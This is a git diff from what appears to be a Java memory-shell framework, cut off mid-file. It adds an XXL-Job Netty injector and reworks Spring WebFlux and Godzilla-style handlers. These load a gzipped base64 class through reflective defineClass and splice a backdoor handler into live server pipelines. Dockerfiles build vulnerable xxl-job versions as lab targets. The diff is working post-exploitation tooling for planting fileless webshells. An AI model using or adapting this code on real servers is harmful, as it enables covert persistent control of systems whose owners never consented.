channelRead(ChannelHandlerContext ctx, Object msg) throws Exception { - if (msg instanceof DefaultHttpRequest) { - request = (DefaultHttpRequest) msg; + if (msg instanceof HttpRequest) { + request = (HttpRequest) msg; HttpHeaders headers = request.headers(); String value = headers.get(headerName); - if (value == null || !value.equals(headerValue)) { + if (value == null || !value.contains(headerValue)) { ctx.fireChannelRead(msg); return; } @@ -64,7 +67,7 @@ public void channelRead(ChannelHandlerContext ctx, Object msg) throws Exception String value = headers.get(headerName); // quick fail,防止其他哥斯拉马打进来走这个逻辑寄了 - if (value == null || !value.equals(headerValue)) { + if (value == null || !value.contains(headerValue)) { ctx.fireChannelRead(msg); return; } @@ -77,7 +80,7 @@ public void channelRead(ChannelHandlerContext ctx, Object msg) throws Exception requestBody.setLength(0); byte[] data = x(base64Decode(base64Str), false); if (payload == null) { - payload = defClass(data); + payload = defineClass(data); send(ctx, ""); return; } else { diff --git a/memshell-java8/src/main/java/com/reajason/javaweb/memshell/springwebflux/injector/SpringWebFluxNettyHandlerInjector.java b/memshell-java8/src/main/java/com/reajason/javaweb/memshell/springwebflux/injector/SpringWebFluxNettyHandlerInjector.java index 683774d3..c1e56472 100644 --- a/memshell-java8/src/main/java/com/reajason/javaweb/memshell/springwebflux/injector/SpringWebFluxNettyHandlerInjector.java +++ b/memshell-java8/src/main/java/com/reajason/javaweb/memshell/springwebflux/injector/SpringWebFluxNettyHandlerInjector.java @@ -35,18 +35,14 @@ public String getBase64String() throws IOException { public SpringWebFluxNettyHandlerInjector() { try { Object nettyServer = getNettyServer(); - Object handler = getShell(); - inject(nettyServer, handler); + handlerClass = getShellClass(); + inject(nettyServer); } catch (Exception e) { e.printStackTrace(); } } - private Object handler; - - public SpringWebFluxNettyHandlerInjector(Object handler) { - this.handler = handler; - } + private Class handlerClass; public Object getNettyServer() throws Exception { ThreadGroup group = Thread.currentThread().getThreadGroup(); @@ -61,29 +57,22 @@ public Object getNettyServer() throws Exception { return null; } - private Object getShell() throws Exception { + private Class getShellClass() throws Exception { ClassLoader classLoader = Thread.currentThread().getContextClassLoader(); - Object interceptor = null; try { - interceptor = classLoader.loadClass(getClassName()).newInstance(); + return classLoader.loadClass(getClassName()); } catch (Exception e) { byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String())); Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); defineClass.setAccessible(true); - Class clazz = (Class) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length); - interceptor = clazz.newInstance(); + return (Class) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length); } - return interceptor; } - public void inject(Object nettyServer, Object handler) { - try { - Object config = getFieldValue(getFieldValue(nettyServer, "val$disposableServer"), "config"); - this.handler = handler; - setFieldValue(config, "doOnChannelInit", this); - System.out.println("netty handler injected successfully"); - } catch (Exception ignored) { - } + public void inject(Object nettyServer) throws Exception { + Object config = getFieldValue(getFieldValue(nettyServer, "val$disposableServer"), "config"); + setFieldValue(config, "doOnChannelInit", this); + System.out.println("netty handler injected successfully"); } @SuppressWarnings("all") @@ -149,6 +138,10 @@ public void setFieldValue(final Object obj, final String fieldName, final Object @Override public void onChannelInit(ConnectionObserver connectionObserver, Channel channel, SocketAddress remoteAddress) { ChannelPipeline pipeline = channel.pipeline(); - pipeline.addBefore("reactor.left.httpTrafficHandler", "memshell_handler", ((ChannelHandler) handler)); + try { + pipeline.addBefore("reactor.left.httpTrafficHandler", "memshell_handler", ((ChannelHandler) handlerClass.newInstance())); + } catch (Exception e) { + e.printStackTrace(); + } } } diff --git a/memshell-java8/src/main/java/com/reajason/javaweb/memshell/xxljob/injector/XxlJobNettyHandlerInjector.java b/memshell-java8/src/main/java/com/reajason/javaweb/memshell/xxljob/injector/XxlJobNettyHandlerInjector.java new file mode 100644 index 00000000..4f8fa32b --- /dev/null +++ b/memshell-java8/src/main/java/com/reajason/javaweb/memshell/xxljob/injector/XxlJobNettyHandlerInjector.java @@ -0,0 +1,172 @@ +package com.reajason.javaweb.memshell.xxljob.injector; + +import com.xxl.job.core.biz.impl.ExecutorBizImpl; +import com.xxl.job.core.server.EmbedServer; +import io.netty.channel.ChannelHandler; +import io.netty.channel.ChannelInitializer; +import io.netty.channel.socket.SocketChannel; +import io.netty.handler.codec.http.HttpObjectAggregator; +import io.netty.handler.codec.http.HttpServerCodec; +import io.netty.handler.timeout.IdleStateHandler; + +import java.io.ByteArrayInputStream; +import java.io.ByteArrayOutputStream; +import java.io.IOException; +import java.lang.reflect.Field; +import java.lang.reflect.Method; +import java.util.HashSet; +import java.util.concurrent.LinkedBlockingQueue; +import java.util.concurrent.ThreadPoolExecutor; +import java.util.concurrent.TimeUnit; +import java.util.zip.GZIPInputStream; + +/** + * @author ReaJason + * @since 2025/1/21 + */ +public class XxlJobNettyHandlerInjector extends ChannelInitializer { + static { + new XxlJobNettyHandlerInjector(); + } + + public String getClassName() { + return "{{className}}"; + } + + public String getBase64String() throws IOException { + return "{{base64Str}}"; + } + + public XxlJobNettyHandlerInjector() { + try { + handlerClass = getShellClass(); + inject(); + } catch (Exception e) { + e.printStackTrace(); + } + } + + private Class handlerClass; + + @Override + protected void initChannel(SocketChannel channel) throws Exception { + ChannelHandler channelHandler = (ChannelHandler) handlerClass.newInstance(); + channel.pipeline() + .addLast(new IdleStateHandler(0, 0, 30 * 3, TimeUnit.SECONDS)) + .addLast(new HttpServerCodec()) + .addLast(new HttpObjectAggregator(5 * 1024 * 1024)) + .addLast(channelHandler) + .addLast(new EmbedServer.EmbedHttpServerHandler(new ExecutorBizImpl(), "", new ThreadPoolExecutor( + 0, + 200, + 60L, + TimeUnit.SECONDS, + new LinkedBlockingQueue<>(2000), + r -> new Thread(r, "xxl-rpc, EmbedServer bizThreadPool-" + r.hashCode()), + (r, executor) -> { + throw new RuntimeException("xxl-job, EmbedServer bizThreadPool is EXHAUSTED!"); + }))); + } + + private Class getShellClass() throws Exception { + ClassLoader classLoader = Thread.currentThread().getContextClassLoader(); + try { + return classLoader.loadClass(getClassName()); + } catch (Exception e) { + byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String())); + Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); + defineClass.setAccessible(true); + return (Class) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length); + } + } + + public void inject() throws Exception { + ThreadGroup group = Thread.currentThread().getThreadGroup(); + Field threads = group.getClass().getDeclaredField("threads"); + threads.setAccessible(true); + Thread[] allThreads = (Thread[]) threads.get(group); + for (Thread thread : allThreads) { + if (thread != null && thread.getName().contains("nioEventLoopGroup")) { + Object target; + + try { + target = getFieldValue(getFieldValue(getFieldValue(thread, "target"), "runnable"), "val$eventExecutor"); + } catch (Exception e) { + continue; + } + + if (target.getClass().getName().endsWith("NioEventLoop")) { + HashSet set = (HashSet) getFieldValue(getFieldValue(target, "unwrappedSelector"), "keys"); + if (!set.isEmpty()) { + Object keys = set.toArray()[0]; + Object pipeline = getFieldValue(getFieldValue(keys, "attachment"), "pipeline"); + Object embedHttpServerHandler = getFieldValue(getFieldValue(getFieldValue(pipeline, "head"), "next"), "handler"); + setFieldValue(embedHttpServerHandler, "childHandler", this); + System.out.println("xxl-job NettyHandler inject successful"); + break; + } + } + } + } + } + + @SuppressWarnings("all") + public static byte[] decodeBase64(String base64Str) throws Exception { + Class decoderClass; + try { + decoderClass = Class.forName("java.util.Base64"); + Object decoder = decoderClass.getMethod("getDecoder").invoke(null); + return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str); + } catch (Exception ignored) { + decoderClass = Class.forName("sun.misc.BASE64Decoder"); + return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str); + } + } + + @SuppressWarnings("all") + public static byte[] gzipDecompress(byte[] compressedData) throws IOException { + ByteArrayOutputStream out = new ByteArrayOutputStream(); + GZIPInputStream gzipInputStream = null; + + try { + gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData)); + byte[] buffer = new byte[4096]; + int n; + while ((n = gzipInputStream.read(buffer)) > 0) { + out.write(buffer, 0, n); + } + } finally { + if (gzipInputStream != null) { + try { + gzipInputStream.close(); + } catch (IOException ignored) { + } + } + out.close(); + } + return out.toByteArray(); + } + + public Field getField(final Class clazz, final String fieldName) { + Field field = null; + try { + field = clazz.getDeclaredField(fieldName); + field.setAccessible(true); + } catch (NoSuchFieldException ex) { + if (clazz.getSuperclass() != null) { + field = getField(clazz.getSuperclass(), fieldName); + } + } + return field; + } + + public Object getFieldValue(final Object obj, final String fieldName) throws Exception { + final Field field = getField(obj.getClass(), fieldName); + return field.get(obj); + } + + public void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception { + final Field field = getField(obj.getClass(), fieldName); + field.set(obj, value); + } +} diff --git a/memshell-java8/src/main/java/com/xxl/job/core/biz/ExecutorBiz.java b/memshell-java8/src/main/java/com/xxl/job/core/biz/ExecutorBiz.java new file mode 100644 index 00000000..0ee8103c --- /dev/null +++ b/memshell-java8/src/main/java/com/xxl/job/core/biz/ExecutorBiz.java @@ -0,0 +1,8 @@ +package com.xxl.job.core.biz; + +/** + * @author ReaJason + * @since 2025/1/21 + */ +public class ExecutorBiz { +} diff --git a/memshell-java8/src/main/java/com/xxl/job/core/biz/impl/ExecutorBizImpl.java b/memshell-java8/src/main/java/com/xxl/job/core/biz/impl/ExecutorBizImpl.java new file mode 100644 index 00000000..c69c0e8e --- /dev/null +++ b/memshell-java8/src/main/java/com/xxl/job/core/biz/impl/ExecutorBizImpl.java @@ -0,0 +1,10 @@ +package com.xxl.job.core.biz.impl; + +import com.xxl.job.core.biz.ExecutorBiz; + +/** + * @author ReaJason + * @since 2025/1/21 + */ +public class ExecutorBizImpl extends ExecutorBiz { +} diff --git a/memshell-java8/src/main/java/com/xxl/job/core/server/EmbedServer.java b/memshell-java8/src/main/java/com/xxl/job/core/server/EmbedServer.java new file mode 100644 index 00000000..c18cb68e --- /dev/null +++ b/memshell-java8/src/main/java/com/xxl/job/core/server/EmbedServer.java @@ -0,0 +1,35 @@ +package com.xxl.job.core.server; + +import com.xxl.job.core.biz.ExecutorBiz; +import io.netty.channel.ChannelHandler; +import io.netty.channel.ChannelHandlerContext; + +import java.util.concurrent.ThreadPoolExecutor; + +/** + * @author ReaJason + * @since 2025/1/21 + */ +public class EmbedServer { + + public static class EmbedHttpServerHandler implements ChannelHandler { + public EmbedHttpServerHandler(ExecutorBiz executorBiz, String prefix, ThreadPoolExecutor executor) { + + } + + @Override + public void handlerAdded(ChannelHandlerContext ctx) throws Exception { + + } + + @Override + public void handlerRemoved(ChannelHandlerContext ctx) throws Exception { + + } + + @Override + public void exceptionCaught(ChannelHandlerContext ctx, Throwable cause) throws Exception { + + } + } +} diff --git a/vul/build.gradle b/vul/build.gradle new file mode 100644 index 00000000..82efb077 --- /dev/null +++ b/vul/build.gradle @@ -0,0 +1,5 @@ +idea { + module { + excludeDirs += file('src') + } +} \ No newline at end of file diff --git a/vul/dockerfile/xxl-job/202/admin/Dockerfile b/vul/dockerfile/xxl-job/202/admin/Dockerfile new file mode 100644 index 00000000..27788a1b --- /dev/null +++ b/vul/dockerfile/xxl-job/202/admin/Dockerfile @@ -0,0 +1,24 @@ +FROM maven:3.9.9-eclipse-temurin-8 AS builder + +RUN set -ex \ + && cd /usr/src \ + && git clone --depth 1 -b 2.0.2 https://github.com/xuxueli/xxl-job.git . \ + && cd xxl-job-admin \ + && sed -i 's/spring\.datasource\.password=.*/spring.datasource.password=root/g' src/main/resources/application.properties \ + && sed -i 's|mysql://127\.0\.0\.1:3306|mysql://db:3306|g' src/main/resources/application.properties \ + && mvn clean package -DskipTests + +FROM openjdk:8 + +RUN set -ex \ + && apt-get update \ + && apt-get install -y --no-install-recommends wait-for-it default-mysql-client \ + && rm -rf /var/lib/apt/lists/* + +COPY --from=builder /usr/src/xxl-job-admin/target/xxl-job-admin-2.0.2.jar /usr/src/xxl-job-admin-2.0.2.jar +COPY docker-entrypoint.sh /docker-entrypoint.sh +COPY --from=builder /usr/src/doc/db/tables_xxl_job.sql /usr/src/tables_xxl_job.sql + +WORKDIR /usr/src +ENTRYPOINT ["/docker-entrypoint.sh"] +CMD ["java", "-jar", "/usr/src/xxl-job-admin-2.0.2.jar"] \ No newline at end of file diff --git a/vul/dockerfile/xxl-job/202/admin/docker-entrypoint.sh b/vul/dockerfile/xxl-job/202/admin/docker-entrypoint.sh new file mode 100755 index 00000000..a6beb23e --- /dev/null +++ b/vul/dockerfile/xxl-job/202/admin/docker-entrypoint.sh @@ -0,0 +1,9 @@ +#!/bin/bash +set -e + +wait-for-it -t 0 db:3306 +if [[ $(mysql -hdb -uroot -proot -e "SHOW DATABASES LIKE 'xxl_job';") == "" ]]; then + mysql -hdb -uroot -proot < /usr/src/tables_xxl_job.sql +fi + +exec "$@" \ No newline at end of file diff --git a/vul/dockerfile/xxl-job/202/executor/Dockerfile b/vul/dockerfile/xxl-job/202/executor/Dockerfile new file mode 100644 index 00000000..fe585c3f --- /dev/null +++ b/vul/dockerfile/xxl-job/202/executor/Dockerfile @@ -0,0 +1,23 @@ +FROM maven:3.9.9-eclipse-temurin-8 AS builder + +RUN set -ex \ + && cd /usr/src \ + && git clone --depth 1 -b 2.0.2 https://github.com/xuxueli/xxl-job.git . \ + && cd xxl-job-executor-samples/xxl-job-executor-sample-springboot \ + && sed -i 's|xxl\.job\.admin\.addresses=.*|xxl.job.admin.addresses=http://admin:8080/xxl-job-admin|g' src/main/resources/application.properties \ + && sed -i 's|xxl\.job\.executor\.logpath=.*|xxl.job.executor.logpath=/var/log/xxl-job|g' src/main/resources/application.properties \ + && mvn clean package -DskipTests + +FROM openjdk:8 + +RUN set -ex \ + && apt-get update \ + && apt-get install -y --no-install-recommends wait-for-it \ + && rm -rf /var/lib/apt/lists/* + +COPY --from=builder /usr/src/xxl-job-executor-samples/xxl-job-executor-sample-springboot/target/xxl-job-executor-sample-springboot-2.0.2.jar /usr/src/xxl-job-executor-sample-springboot-2.0.2.jar +COPY docker-entrypoint.sh /docker-entrypoint.sh + +WORKDIR /usr/src +ENTRYPOINT ["/docker-entrypoint.sh"] +CMD ["java", "-jar", "/usr/src/xxl-job-executor-sample-springboot-2.0.2.jar"] \ No newline at end of file diff --git a/vul/dockerfile/xxl-job/202/executor/docker-entrypoint.sh b/vul/dockerfile/xxl-job/202/executor/docker-entrypoint.sh new file mode 100755 index 00000000..257e80a2 --- /dev/null +++ b/vul/dockerfile/xxl-job/202/executor/docker-entrypoint.sh @@ -0,0 +1,7 @@ +#!/bin/bash + +set -ex + +wait-for-it -t 0 admin:8080 + +exec "$@" \ No newline at end of file diff --git a/vul/dockerfile/xxl-job/220/admin/Dockerfile b/vul/dockerfile/xxl-job/220/admin/Dockerfile new file mode 100644 index 00000000..8324248b --- /dev/null +++ b/vul/dockerfile/xxl-job/220/admin/Dockerfile @@ -0,0 +1,24 @@ +FROM maven:3.9.9-eclipse-temurin-8 AS builder + +RUN set -ex \ + && cd /usr/src \ + && git clone --depth 1 -b v2.2.0 https://github.com/xuxueli/xxl-job.git . \ + && cd xxl-job-admin \ + && sed -i 's/spring\.datasource\.password=.*/spring.datasource.password=root/g' src/main/resources/application.properties \ + && sed -i 's|mysql://127\.0\.0\.1:3306|mysql://db:3306|g' src/main/resources/application.properties \ + && mvn clean package -DskipTests + +FROM openjdk:8 + +RUN set -ex \ + && apt-get update \ + && apt-get install -y --no-install-recommends wait-for-it default-mysql-client \ + && rm -rf /var/lib/apt/lists/* + +COPY --from=builder /usr/src/xxl-job-admin/target/xxl-job-admin-2.2.0.jar /usr/src/xxl-job-admin-2.2.0.jar +COPY docker-entrypoint.sh /docker-entrypoint.sh +COPY --from=builder /usr/src/doc/db/tables_xxl_job.sql /usr/src/tables_xxl_job.sql + +WORKDIR /usr/src +ENTRYPOINT ["/docker-entrypoint.sh"] +CMD ["java", "-jar", "/usr/src/xxl-job-admin-2.2.0.jar"] \ No newline at end of file diff --git a/vul/dockerfile/xxl-job/220/admin/docker-entrypoint.sh b/vul/dockerfile/xxl-job/220/admin/docker-entrypoint.sh new file mode 100755 index 00000000..a6beb23e --- /dev/null +++ b/vul/dockerfile/xxl-job/220/admin/docker-entrypoint.sh @@ -0,0 +1,9 @@ +#!/bin/bash +set -e + +wait-for-it -t 0 db:3306 +if [[ $(mysql -hdb -uroot -proot -e "SHOW DATABASES LIKE 'xxl_job';") == "" ]]; then + mysql -hdb -uroot -proot < /usr/src/tables_xxl_job.sql +fi + +exec "$@" \ No newline at end of file diff --git a/vul/dockerfile/xxl-job/220/executor/Dockerfile b/vul/dockerfile/xxl-job/220/executor/Dockerfile new file mode 100644 index 00000000..011eb095 --- /dev/null +++ b/vul/dockerfile/xxl-job/220/executor/Dockerfile @@ -0,0 +1,23 @@ +FROM maven:3.9.9-eclipse-temurin-8 AS builder + +RUN set -ex \ + && cd /usr/src \ + && git clone --depth 1 -b v2.2.0 https://github.com/xuxueli/xxl-job.git . \ + && cd xxl-job-executor-samples/xxl-job-executor-sample-springboot \ + && sed -i 's|xxl\.job\.admin\.addresses=.*|xxl.job.admin.addresses=http://admin:8080/xxl-job-admin|g' src/main/resources/application.properties \ + && sed -i 's|xxl\.job\.executor\.logpath=.*|xxl.job.executor.logpath=/var/log/xxl-job|g' src/main/resources/application.properties \ + && mvn clean package -DskipTests + +FROM openjdk:8 + +RUN set -ex \ + && apt-get update \ + && apt-get install -y --no-install-recommends wait-for-it \ + && rm -rf /var/lib/apt/lists/* + +COPY --from=builder /usr/src/xxl-job-executor-samples/xxl-job-executor-sample-springboot/target/xxl-job-executor-sample-springboot-2.2.0.jar /usr/src/xxl-job-executor-sample-springboot-2.2.0.jar +COPY docker-entrypoint.sh /docker-entrypoint.sh + +WORKDIR /usr/src +ENTRYPOINT ["/docker-entrypoint.sh"] +CMD ["java", "-jar", "/usr/src/xxl-job-executor-sample-springboot-2.2.0.jar"] \ No newline at end of file diff --git a/vul/dockerfile/xxl-job/220/executor/docker-entrypoint.sh b/vul/dockerfile/xxl-job/220/executor/docker-entrypoint.sh new file mode 100755 index 00000000..257e80a2 --- /dev/null +++ b/vul/dockerfile/xxl-job/220/executor/docker-entrypoint.sh @@ -0,0 +1,7 @@ +#!/bin/bash + +set -ex + +wait-for-it -t 0 admin:8080 + +exec "$@" \ No newline at end of file diff --git a/vul/dockerfile/xxl-job/230/admin/Dockerfile b/vul/dockerfile/xxl-job/230/admin/Dockerfile new file mode 100644 index 00000000..dfe5823a --- /dev/null +++ b/vul/dockerfile/xxl-job/230/admin/Dockerfile @@ -0,0 +1,25 @@ +FROM maven:3.9.9-eclipse-temurin-8 AS builder + +WORKDIR /usr/src + +RUN set -ex \ + && git clone --depth 1 -b 2.3.0 https://github.com/xuxueli/xxl-job.git . \ + && cd xxl-job-admin \ + && sed -i 's/spring\.datasource\.password=.*/spring.datasource.password=root/g' src/main/resources/application.properties \ + && sed -i 's|mysql://127\.0\.0\.1:3306|mysql://db:3306|g' src/main/resources/application.properties \ + && mvn clean package -DskipTests + +FROM openjdk:8 + +RUN set -ex \ + && apt update \ + && apt install -y --no-install-recommends wait-for-it default-mysql-client \ + && rm -rf /var/lib/apt/lists/* + +COPY --from=builder /usr/src/xxl-job-admin/target/xxl-job-admin-2.3.0.jar /usr/src/xxl-job-admin-2.3.0.jar +COPY docker-entrypoint.sh /docker-entrypoint.sh +COPY --from=builder /usr/src/doc/db/tables_xxl_job.sql /usr/src/tables_xxl_job.sql + +WORKDIR /usr/src +ENTRYPOINT ["/docker-entrypoint.sh"] +CMD ["java", "-jar", "/usr/src/xxl-job-admin-2.3.0.jar"] \ No newline at end of file diff --git a/vul/dockerfile/xxl-job/230/admin/docker-entrypoint.sh b/vul/dockerfile/xxl-job/230/admin/docker-entrypoint.sh new file mode 100755 index 00000000..a6beb23e --- /dev/null +++ b/vul/dockerfile/xxl-job/230/admin/docker-entrypoint.sh @@ -0,0 +1,9 @@ +#!/bin/bash +set -e + +wait-for-it -t 0 db:3306 +if [[ $(mysql -hdb -uroot -proot -e "SHOW DATABASES LIKE 'xxl_job';") == "" ]]; then + mysql -hdb -uroot -proot < /usr/src/tables_xxl_job.sql +fi + +exec "$@" \ No newline at end of file diff --git a/vul/dockerfile/xxl-job/230/executor/Dockerfile b/vul/dockerfile/xxl-job/230/executor/Dockerfile new file mode 100644 index 00000000..92d85a55 --- /dev/null +++ b/vul/dockerfile/xxl-job/230/executor/Dockerfile @@ -0,0 +1,25 @@ +FROM maven:3.9.9-eclipse-temurin-8 AS builder + +WORKDIR /usr/src + +RUN set -ex \ + && git clone --depth 1 -b 2.3.0 https://github.com/xuxueli/xxl-job.git . \ + && ls \ + && cd xxl-job-executor-samples/xxl-job-executor-sample-springboot \ + && sed -i 's|xxl\.job\.admin\.addresses=.*|xxl.job.admin.addresses=http://admin:8080/xxl-job-admin|g' src/main/resources/application.properties \ + && sed -i 's|xxl\.job\.executor\.logpath=.*|xxl.job.executor.logpath=/var/log/xxl-job|g' src/main/resources/application.properties \ + && mvn clean package -DskipTests + +FROM openjdk:8 + +RUN set -ex \ + && apt-get update \ + && apt-get install -y --no-install-recommends wait-for-it \ + && rm -rf /var/lib/apt/lists/* + +COPY --from=builder /usr/src/xxl-job-executor-samples/xxl-job-executor-sample-springboot/target/xxl-job-executor-sample-springboot-2.3.0.jar /usr/src/xxl-job-executor-sample-springboot-2.3.0.jar +COPY docker-entrypoint.sh /docker-entrypoint.sh + +WORKDIR /usr/src +ENTRYPOINT ["/docker-entrypoint.sh"] +CMD ["java", "-jar", "/usr/src/xxl-job-executor-sample-springboot-2.3.0.jar"] \ No newline at end of file diff --git a/vul/dockerfile/xxl-job/230/executor/docker-entrypoint.sh b/vul/dockerfile/xxl-job/230/executor/docker-entrypoint.sh new file mode 100755 index 00000000..257e80a2 --- /dev/null +++ b/vul/dockerfile/xxl-job/230/executor/docker-entrypoint.sh @@ -0,0 +1,7 @@ +#!/bin/bash + +set -ex + +wait-for-it -t 0 admin:8080 + +exec "$@" \ No newline at end of file diff --git a/vul/dockerfile/xxl-job/250/admin/Dockerfile b/vul/dockerfile/xxl-job/250/admin/Dockerfile new file mode 100644 index 00000000..2d519c5b --- /dev/null +++ b/vul/dockerfile/xxl-job/250/admin/Dockerfile @@ -0,0 +1,25 @@ +FROM maven:3.9.9-eclipse-temurin-17 AS builder + +WORKDIR /usr/src + +RUN set -ex \ + && git clone --depth 1 -b 2.5.0 https://github.com/xuxueli/xxl-job.git . \ + && cd xxl-job-admin \ + && sed -i 's/spring\.datasource\.password=.*/spring.datasource.password=root/g' src/main/resources/application.properties \ + && sed -i 's|mysql://127\.0\.0\.1:3306|mysql://db:3306|g' src/main/resources/application.properties \ + && mvn clean package -DskipTests + +FROM openjdk:17-jdk-bullseye + +RUN set -ex \ + && apt update \ + && apt install -y --no-install-recommends wait-for-it default-mysql-client \ + && rm -rf /var/lib/apt/lists/* + +COPY --from=builder /usr/src/xxl-job-admin/target/xxl-job-admin-2.5.0.jar /usr/src/xxl-job-admin-2.5.0.jar +COPY docker-entrypoint.sh /docker-entrypoint.sh +COPY --from=builder /usr/src/doc/db/tables_xxl_job.sql /usr/src/tables_xxl_job.sql + +WORKDIR /usr/src +ENTRYPOINT ["/docker-entrypoint.sh"] +CMD ["java", "-jar", "/usr/src/xxl-job-admin-2.5.0.jar"] \ No newline at end of file diff --git a/vul/dockerfile/xxl-job/250/admin/docker-entrypoint.sh b/vul/dockerfile/xxl-job/250/admin/docker-entrypoint.sh new file mode 100755 index 00000000..a6beb23e --- /dev/null +++ b/vul/dockerfile/xxl-job/250/admin/docker-entrypoint.sh @@ -0,0 +1,9 @@ +#!/bin/bash +set -e + +wait-for-it -t 0 db:3306 +if [[ $(mysql -hdb -uroot -proot -e "SHOW DATABASES LIKE 'xxl_job';") == "" ]]; then + mysql -hdb -uroot -proot < /usr/src/tables_xxl_job.sql +fi + +exec "$@" \ No newline at end of file diff --git a/vul/dockerfile/xxl-job/250/executor/Dockerfile b/vul/dockerfile/xxl-job/250/executor/Dockerfile new file mode 100644 index 00000000..11a25f6a --- /dev/null +++ b/vul/dockerfile/xxl-job/250/executor/Dockerfile @@ -0,0 +1,25 @@ +FROM maven:3.9.9-eclipse-temurin-17 AS builder + +WORKDIR /usr/src + +RUN set -ex \ + && git clone --depth 1 -b 2.5.0 https://github.com/xuxueli/xxl-job.git . \ + && ls \ + && cd xxl-job-executor-samples/xxl-job-executor-sample-springboot \ + && sed -i 's|xxl\.job\.admin\.addresses=.*|xxl.job.admin.addresses=http://admin:8080/xxl-job-admin|g' src/main/resources/application.properties \ + && sed -i 's|xxl\.job\.executor\.logpath=.*|xxl.job.executor.logpath=/var/log/xxl-job|g' src/main/resources/application.properties \ + && mvn clean package -DskipTests + +FROM openjdk:17-jdk-bullseye + +RUN set -ex \ + && apt-get update \ + && apt-get install -y --no-install-recommends wait-for-it \ + && rm -rf /var/lib/apt/lists/* + +COPY --from=builder /usr/src/xxl-job-executor-samples/xxl-job-executor-sample-springboot/target/xxl-job-executor-sample-springboot-2.5.0.jar /usr/src/xxl-job-executor-sample-springboot-2.5.0.jar +COPY docker-entrypoint.sh /docker-entrypoint.sh + +WORKDIR /usr/src +ENTRYPOINT ["/docker-entrypoint.sh"] +CMD ["java", "-jar", "/usr/src/xxl-job-executor-sample-springboot-2.5.0.jar"] \ No newline at end of file diff --git a/vul/dockerfile/xxl-job/250/executor/docker-entrypoint.sh b/vul/dockerfile/xxl-job/250/executor/docker-entrypoint.sh new file mode 100755 index 00000000..257e80a2 --- /dev/null +++ b/vul/dockerfile/xxl-job/250/executor/docker-entrypoint.sh @@ -0,0 +1,7 @@ +#!/bin/bash + +set -ex + +wait-for-it -t 0 admin:8080 + +exec "$@" \ No newline at end of file diff --git a/vul/vul-webapp/src/main/java/EmptyFilter.java b/vul/vul-webapp/src/main/java/EmptyFilter.java new file mode 100644 index 00000000..ffa67d23 --- /dev/null +++ b/vul/vul-webapp/src/main/java/EmptyFilter.java @@ -0,0 +1,23 @@ +import javax.servlet.*; +import java.io.IOException; + +/** + * @author ReaJason + * @since 2025/1/3 + */ +public class EmptyFilter implements Filter { + @Override + public void destroy() { + + } + + @Override + public void init(FilterConfig filterConfig) throws ServletException { + + } + + @Override + public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException { + chain.doFilter(request, response); + } +} diff --git a/vul/vul-webapp/src/main/java/TestServlet.java b/vul/vul-webapp/src/main/java/TestServlet.java index 80bc3dc4..d71cef16 100644 --- a/vul/vul-webapp/src/main/java/TestServlet.java +++ b/vul/vul-webapp/src/main/java/TestServlet.java @@ -2,15 +2,8 @@ import javax.servlet.http.HttpServlet; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; -import java.io.ByteArrayInputStream; -import java.io.ByteArrayOutputStream; +import java.io.BufferedReader; import java.io.IOException; -import java.lang.reflect.Constructor; -import java.lang.reflect.Field; -import java.lang.reflect.InvocationTargetException; -import java.lang.reflect.Method; -import java.util.*; -import java.util.zip.GZIPInputStream; /** * @author ReaJason @@ -18,271 +11,15 @@ */ public class TestServlet extends HttpServlet { - static Object getFV(Object obj, String fieldName) throws Exception { - try { - Field field = getF(obj, fieldName); - field.setAccessible(true); - return field.get(obj); - } catch (Exception var3) { - return null; - } - } - - static Field getF(Object obj, String fieldName) throws NoSuchFieldException { - for (Class clazz = obj.getClass(); clazz != null; clazz = clazz.getSuperclass()) { - try { - Field field = clazz.getDeclaredField(fieldName); - field.setAccessible(true); - return field; - } catch (NoSuchFieldException var3) { - } - } - - throw new NoSuchFieldException(fieldName); - } - - public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception { - Field field = getF(obj, fieldName); - field.set(obj, value); - } - - static byte[] decodeBase64(String base64Str) throws Exception { - try { - Class decoderClass = Class.forName("sun.misc.BASE64Decoder"); - return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str); - } catch (Exception var4) { - Class decoderClass = Class.forName("java.util.Base64"); - Object decoder = decoderClass.getMethod("getDecoder").invoke((Object) null); - return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str); - } - } - - public static byte[] gzipDecompress(byte[] compressedData) throws IOException { - ByteArrayOutputStream out = new ByteArrayOutputStream(); - ByteArrayInputStream in = new ByteArrayInputStream(compressedData); - GZIPInputStream gzipInputStream = new GZIPInputStream(in); - byte[] buffer = new byte[256]; - - int n; - while ((n = gzipInputStream.read(buffer)) >= 0) { - out.write(buffer, 0, n); - } - - return out.toByteArray(); - } - - public static synchronized Object invokeMethod(Object targetObject, String methodName) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException { - return invokeMethod(targetObject, methodName, new Class[0], new Object[0]); - } - - public static synchronized Object invokeMethod(final Object obj, final String methodName, Class[] paramClazz, Object[] param) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException { - Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass(); - Method method = null; - - Class tempClass = clazz; - while (method == null && tempClass != null) { - try { - if (paramClazz == null) { - // Get all declared methods of the class - Method[] methods = tempClass.getDeclaredMethods(); - for (Method value : methods) { - if (value.getName().equals(methodName) && value.getParameterTypes().length == 0) { - method = value; - break; - } - } - } else { - method = tempClass.getDeclaredMethod(methodName, paramClazz); - } - } catch (NoSuchMethodException e) { - tempClass = tempClass.getSuperclass(); - } - } - if (method == null) { - throw new NoSuchMethodException(methodName); - } - method.setAccessible(true); - if (obj instanceof Class) { - try { - return method.invoke(null, param); - } catch (IllegalAccessException e) { - throw new RuntimeException(e.getMessage()); - } - } else { - try { - return 